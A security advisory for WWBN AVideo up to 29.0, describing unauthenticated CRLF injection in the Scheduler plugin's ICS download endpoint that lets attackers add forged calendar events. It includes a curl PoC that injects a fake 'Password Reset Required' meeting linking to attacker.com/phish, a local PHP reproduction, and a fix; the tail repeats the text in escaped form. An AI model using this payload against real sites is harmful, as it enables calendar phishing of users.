Title

WWBN AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing

Summary

WWBN AVideo is an open source video platform. In versions up to and including 29.0, the unauthenticated plugin/Scheduler/downloadICS.php endpoint passes attacker-controlled title, description, and joinURL parameters into Scheduler::downloadICS(), which builds an ICS calendar file via the ICS helper class. ICS::escape_string() (objects/ICS.php:167-169) only escapes , and ; and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including END:VEVENT / BEGIN:VEVENT pairs that add entire attacker-controlled calendar events. Because the malicious .ics file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen SUMMARY, URL, LOCATION, and DESCRIPTION landing in the victim's calendar after import. Commit 764db592f99e545aa86bb9a4ad664ffd14c38ba5 contains an updated fix.

Vulnerability from github – Published: 2026-05-05 22:14 – Updated: 2026-05-13 14:20

Summary

AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing

Details

Summary

The unauthenticated plugin/Scheduler/downloadICS.php endpoint passes attacker-controlled title, description, and joinURL parameters into Scheduler::downloadICS(), which builds an ICS calendar file via the ICS helper class. ICS::escape_string() (objects/ICS.php:167-169) only escapes , and ; and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including END:VEVENT / BEGIN:VEVENT pairs that add entire attacker-controlled calendar events. Because the malicious .ics file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen SUMMARY, URL, LOCATION, and DESCRIPTION landing in the victim's calendar after import.

Details

Vulnerable code path

plugin/Scheduler/downloadICS.php — unauthenticated entry point:

if(!AVideoPlugin::isEnabledByName('Scheduler')){
    forbiddenPage('Scheduler is disabled');
}
if(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); }
if(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); }

Scheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'],
    @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']);

There is no session check, no CSRF token, no user-role check — only an empty-check on title/date_start and a plugin-enabled check.

plugin/Scheduler/Scheduler.php:367-382 passes inputs directly to the ICS builder:

$props = array(
    'location' => $location,
    'description' => $description,   // attacker-controlled
    'dtstart' => $dtstart,
    'dtend' => $dtend,
    'summary' => $title,             // attacker-controlled
    'url' => $joinURL,               // attacker-controlled
    'valarm' => $VALARM,
);
$ics = new ICS($props);
...
echo $icsString;

objects/ICS.php:167-169 — incomplete escape:

private function escape_string($str) {
    return preg_replace('/([\,;])/','\\\$1', $str);
}

Per RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as \n. This implementation does neither. ICS::to_string() (line 101) joins every property with "\r\n", so any raw \r\n sequence embedded in a value breaks out of the property line and injects new ICS directives.

Verified exploit output

Running the builder with a CRLF-laden description produces a file with two distinct VEVENT blocks (the second entirely attacker-controlled):

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//hacksw/handcal//NONSGML v1.0//EN
CALSCALE:GREGORIAN
BEGIN:VEVENT
DESCRIPTION:Hello
END:VEVENT
BEGIN:VEVENT
SUMMARY:Injected
URL:http://attacker.com
DTSTART:20260501T000000Z
DTEND:20260501T130000Z
SUMMARY:Legit
URL;VALUE=URI:https://example.com
DTSTAMP:20260424T082123Z
UID:69eb2803d1aa2
END:VEVENT
END:VCALENDAR

The injected BEGIN:VEVENT / END:VEVENT pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.

PoC

Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).
Send an unauthenticated GET request with CRLF-encoded payload in description:

curl -o malicious.ics \
  'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity'

The returned file contains two VEVENT blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL.

Local reproduction (without needing a running server) using the same code path:

php -r "require 'objects/ICS.php'; \$p = ['description' => \"Hello\r\nEND:VEVENT\r\nBEGIN:VEVENT\r\nSUMMARY:Injected\r\nURL:http://attacker.com\", 'dtstart'=>'2026-05-01', 'dtend'=>'2026-05-01 13:00', 'summary'=>'Legit', 'url'=>'https://example.com']; echo (new ICS(\$p))->to_string();"

Produces the two-VEVENT output shown above (verified).

Impact

Same-origin calendar phishing. The .ics is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.
Arbitrary event spoofing. Attacker controls SUMMARY, DTSTART, DTEND, URL, LOCATION, DESCRIPTION, and may add further ICS properties (e.g. ORGANIZER, ATTENDEE). Many mainstream calendar clients display the URL field as a clickable link in the event body.
Integrity: Low — unwanted/forged events are added to the victim's calendar after they import the file.
Auth: None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo's scheduled streaming features.
Confidentiality / Availability: No direct impact.

Not a higher-severity response-splitting bug: PHP's header() blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers — only into the ICS body.

Recommended Fix

Strip or RFC-5545-encode CR/LF in ICS::escape_string() so newline bytes cannot break out of a property line. In objects/ICS.php:167-169:

private function escape_string($str) {
    // RFC 5545 §3.3.11: escape backslash, semicolon, comma; encode newlines as \n
    $str = str_replace(array("\\", "\r\n", "\r", "\n"), array("\\\\", "\\n", "\\n", "\\n"), $str);
    return preg_replace('/([\,;])/', '\\\\$1', $str);
}

Additionally, plugin/Scheduler/downloadICS.php should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on title, description, and joinURL — and joinURL should continue to be validated via isValidURL() (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every $_REQUEST parameter used by Scheduler::downloadICS().

The injected event renders with an attacker-chosen clickable URL.\n\nLocal reproduction (without needing a running server) using the same code path:\n\n```\nphp -r \"require \u0027objects/ICS.php\u0027; \\$p = [\u0027description\u0027 =\u003e \\\"Hello\\r\\nEND:VEVENT\\r\\nBEGIN:VEVENT\\r\\nSUMMARY:Injected\\r\\nURL:http://attacker.com\\\", \u0027dtstart\u0027=\u003e\u00272026-05-01\u0027, \u0027dtend\u0027=\u003e\u00272026-05-01 13:00\u0027, \u0027summary\u0027=\u003e\u0027Legit\u0027, \u0027url\u0027=\u003e\u0027https://example.com\u0027]; echo (new ICS(\\$p))-\u003eto_string();\"\n```\n\nProduces the two-VEVENT output shown above (verified).\n\n## Impact\n\n- **Same-origin calendar phishing.** The `.ics` is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.\n- **Arbitrary event spoofing.** Attacker controls `SUMMARY`, `DTSTART`, `DTEND`, `URL`, `LOCATION`, `DESCRIPTION`, and may add further ICS properties (e.g. `ORGANIZER`, `ATTENDEE`). Many mainstream calendar clients display the `URL` field as a clickable link in the event body.\n- **Integrity:** Low \u2014 unwanted/forged events are added to the victim\u0027s calendar after they import the file.\n- **Auth:** None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo\u0027s scheduled streaming features.\n- **Confidentiality / Availability:** No direct impact.\n\nNot a higher-severity response-splitting bug: PHP\u0027s `header()` blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers \u2014 only into the ICS body.\n\n## Recommended Fix\n\nStrip or RFC-5545-encode CR/LF in `ICS::escape_string()` so newline bytes cannot break out of a property line. In `objects/ICS.php:167-169`:\n\n```php\nprivate function escape_string($str) {\n    // RFC 5545 \u00a73.3.11: escape backslash, semicolon, comma; encode newlines as \\n\n    $str = str_replace(array(\"\\\\\", \"\\r\\n\", \"\\r\", \"\\n\"), array(\"\\\\\\\\\", \"\\\\n\", \"\\\\n\", \"\\\\n\"), $str);\n    return preg_replace(\u0027/([\\,;])/\u0027, \u0027\\\\\\\\$1\u0027, $str);\n}\n```\n\nAdditionally, `plugin/Scheduler/downloadICS.php` should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on `title`, `description`, and `joinURL` \u2014 and `joinURL` should continue to be validated via `isValidURL()` (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every `$_REQUEST` parameter used by `Scheduler::downloadICS()`.",
